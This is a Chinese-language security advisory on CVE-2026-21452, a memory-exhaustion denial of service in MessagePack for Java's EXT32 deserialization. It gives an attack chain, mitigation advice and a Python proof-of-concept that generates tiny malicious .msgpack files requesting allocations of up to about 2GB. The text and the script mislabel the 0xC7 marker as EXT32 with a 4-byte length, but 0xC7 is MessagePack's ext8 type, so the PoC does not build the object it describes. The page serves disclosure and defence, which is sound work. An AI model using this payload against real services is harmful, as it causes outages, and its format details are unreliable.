IPBUF安全漏洞报告
English
CVE-2026-21452 CVSS 7.5 高危

CVE-2026-21452: MessagePack Java EXT32反序列化无上限内存分配拒绝服务漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-21452
漏洞类型
拒绝服务/无上限内存分配
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MessagePack for Java

相关标签

拒绝服务无上限内存分配反序列化漏洞MessagePackMessagePack-JavaEXT32DoSJavaCVE-2026-21452内存耗尽

漏洞概述

MessagePack for Java是一个用于Java语言的序列化实现库,广泛应用于分布式系统、微服务架构、模型文件序列化以及跨语言数据交换等场景。该库在处理.msgpack格式文件时存在一个严重的拒绝服务漏洞。漏洞源于EXT32对象(扩展类型数据)的反序列化过程中,库在解析扩展头时采用了延迟加载策略,但随后在实例化扩展数据时盲目信任了EXT头部中声明的有效载荷长度字段。当应用程序调用ExtensionValue.getData()方法时,库会尝试根据声明的长度分配相应大小的字节数组,但未对该长度施加任何上限约束。攻击者可以构造一个仅包含几百字节的畸形但语法有效的.msgpack文件,其中EXT32对象声明了一个超大甚至超出JVM堆内存大小的有效载荷长度。这会触发无限制的堆内存分配请求,导致JVM堆内存耗尽、频繁的垃圾回收操作、进程终止或抛出OutOfMemoryError。由于攻击文件体积小且格式合法,可以轻易绕过基于文件大小或基本格式校验的安全扫描工具。该漏洞影响所有使用MessagePack for Java反序列化不可信.msgpack文件的应用程序,包括模型注册中心、推理服务、CI/CD流水线以及云端模型托管平台等生产环境,可能造成服务完全不可用并引发级联故障。

技术细节

MessagePack是一种高效的二进制序列化格式,支持多种数据类型,其中包括EXT(扩展类型)用于存储自定义二进制数据。EXT32是扩展类型的一种变体,其头部结构包含:固定标记字节(0xC7)、类型字段以及一个4字节的长度字段。在MessagePack-Java < 0.9.11的实现中,ExtCodec在解码EXT32时,首先读取4字节长度字段得到extLength,然后创建ExtensionHeader对象存储该长度值。关键问题在于:ExtensionHeader的解析是惰性的(lazy),但后续在ExtensionValue.getData()方法中,代码直接使用header中存储的extLength调用ByteBuffer.allocate(extLength)进行堆内存分配,完全没有验证该长度是否在合理范围内。攻击者可以利用这一特性,在合法的EXT32头部中声明一个极大的extLength值(如Integer.MAX_VALUE或更大的正整数),当受害者反序列化该文件时,JVM会尝试分配一个超出可用内存的连续字节数组。由于Java的byte[]数组索引使用int类型,最大可分配约2GB的连续内存,在大多数服务器配置下这已远超可用堆空间。攻击者只需构造一个包含单个EXT32对象的消息,文件大小可能不超过20字节,但能触发数GB的内存分配请求。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别目标系统中使用MessagePack for Java进行反序列化的组件,如模型加载器、配置解析器、API网关或消息队列消费者等。常见应用场景包括ML模型注册中心、RESTful API服务、分布式缓存等。
STEP 2
步骤2: 构造恶意载荷
攻击者构造一个畸形但语法完全符合MessagePack规范的二进制文件。文件包含一个EXT32对象,其头部声明的有效载荷长度字段被设置为远超可用堆内存的值(如0x7FFFFFFF),但实际数据部分仅包含极少字节(甚至1字节即可)。整个文件大小可控制在20字节以内。
STEP 3
步骤3: 投递恶意文件
攻击者通过多种途径将恶意.msgpack文件投递到目标系统:上传到模型注册中心、作为API请求的载荷发送、注入到消息队列、通过CI/CD流水线的制品库传播、或利用文件包含/反序列化漏洞触发加载。由于文件极小且格式合法,可绕过文件大小限制和基本格式校验。
STEP 4
步骤4: 触发反序列化
目标应用程序调用MessagePack-Java的deserialize方法加载.msgpack文件。在解析EXT32对象时,ExtCodec读取4字节长度字段得到extLength值(攻击者控制的大数值),并创建ExtensionHeader对象存储该值。随后当代码调用ExtensionValue.getData()时,库执行ByteBuffer.allocate(extLength)尝试分配内存。
STEP 5
步骤5: 堆内存耗尽
JVM收到分配请求后尝试在堆中分配连续的大块内存。由于声明的extLength远超可用堆空间,分配将失败并抛出OutOfMemoryError。即使JVM启用了-XX:+HeapDumpOnOutOfMemoryError,也会因磁盘空间快速消耗而加剧问题。进程可能直接崩溃或进入持续的Full GC循环,导致服务完全不可用。
STEP 6
步骤6: 造成拒绝服务
目标服务的多个请求线程可能同时触发反序列化操作,导致堆内存快速耗尽。由于MessagePack反序列化通常在请求处理的关键路径上,攻击可造成服务级别的完全不可用。单个精心构造的小文件即可影响整个服务实例,影响范围覆盖所有使用该实例的用户请求。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-21452: MessagePack Java EXT32 DoS Vulnerability This script generates a malicious .msgpack file that triggers unbounded heap allocation. MessagePack EXT32 format: 0xC7 - EXT32 marker (1 byte) 4 bytes - ext length (big-endian, attacker-controlled) 1 byte - ext type [ext data] - actual data (can be minimal) When deserialized by MessagePack-Java < 0.9.11: ExtensionValue.getData() calls ByteBuffer.allocate(extLength) without any upper bound check, causing OOM. """ import struct import sys def create_malicious_msgpack(output_file: str, declared_length: int = 0x7FFFFFFF): """ Generate a malicious .msgpack file with EXT32 object. Args: output_file: Path to write the malicious .msgpack file declared_length: The EXT payload length declared in the header (the actual memory that will be allocated) """ # EXT32 marker ext32_marker = 0xC7 # EXT32 length field (4 bytes, big-endian) # Using 0x7FFFFFFF (Integer.MAX_VALUE) to request ~2GB allocation ext_length_bytes = struct.pack('>I', declared_length & 0xFFFFFFFF) # Extension type (arbitrary, e.g., 0x01) ext_type = 0x01 # Actual extension data (minimal, only 1 byte needed for valid format) ext_data = b'\x00' # Construct the malicious .msgpack file malicious_data = bytes([ext32_marker]) + ext_length_bytes + bytes([ext_type]) + ext_data with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] Created malicious .msgpack file: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print(f"[+] Declared EXT length: {declared_length} (0x{declared_length:08X})") print(f"[+] Expected memory allocation: ~{declared_length / (1024**3):.2f} GB") print(f"\n[!] When deserialized by MessagePack-Java < 0.9.11, this will trigger:") print(f" ByteBuffer.allocate({declared_length})") print(f" Result: OutOfMemoryError -> Denial of Service") def create_multiple_exploits(): """Generate multiple PoC variants with different declared lengths.""" test_cases = [ ('poc_cve_2026_21452_2gb.msgpack', 0x7FFFFFFF, '2GB allocation attempt'), ('poc_cve_2026_21452_1gb.msgpack', 0x40000000, '1GB allocation attempt'), ('poc_cve_2026_21452_512mb.msgpack', 0x20000000, '512MB allocation attempt'), ('poc_cve_2026_21452_256mb.msgpack', 0x10000000, '256MB allocation attempt'), ] for filename, length, description in test_cases: create_malicious_msgpack(filename, length) print(f" -> {description}") print() if __name__ == '__main__': if len(sys.argv) > 1 and sys.argv[1] == '--all': create_multiple_exploits() else: output = sys.argv[1] if len(sys.argv) > 1 else 'poc_cve_2026_21452.msgpack' create_malicious_msgpack(output) print("\nUsage:") print(" python3 poc_cve_2026_21452.py # Default 2GB exploit") print(" python3 poc_cve_2026_21452.py output.msgpack # Custom filename") print(" python3 poc_cve_2026_21452.py --all # Generate multiple variants")

影响范围

MessagePack for Java < 0.9.11

防御指南

临时缓解措施
立即将MessagePack for Java升级到0.9.11版本。如果无法立即升级,可采取以下临时缓解措施:在反序列化前对.msgpack文件进行预扫描,拒绝EXT32对象中长度字段异常大的文件;限制JVM堆内存大小并设置合理的GC参数以加快故障检测;使用进程隔离和资源配额限制单次反序列化操作的内存使用;在应用层实现超时机制和熔断策略,防止单个恶意请求导致服务整体不可用;增加对.msgpack文件的完整性校验,仅接受来自可信源的文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表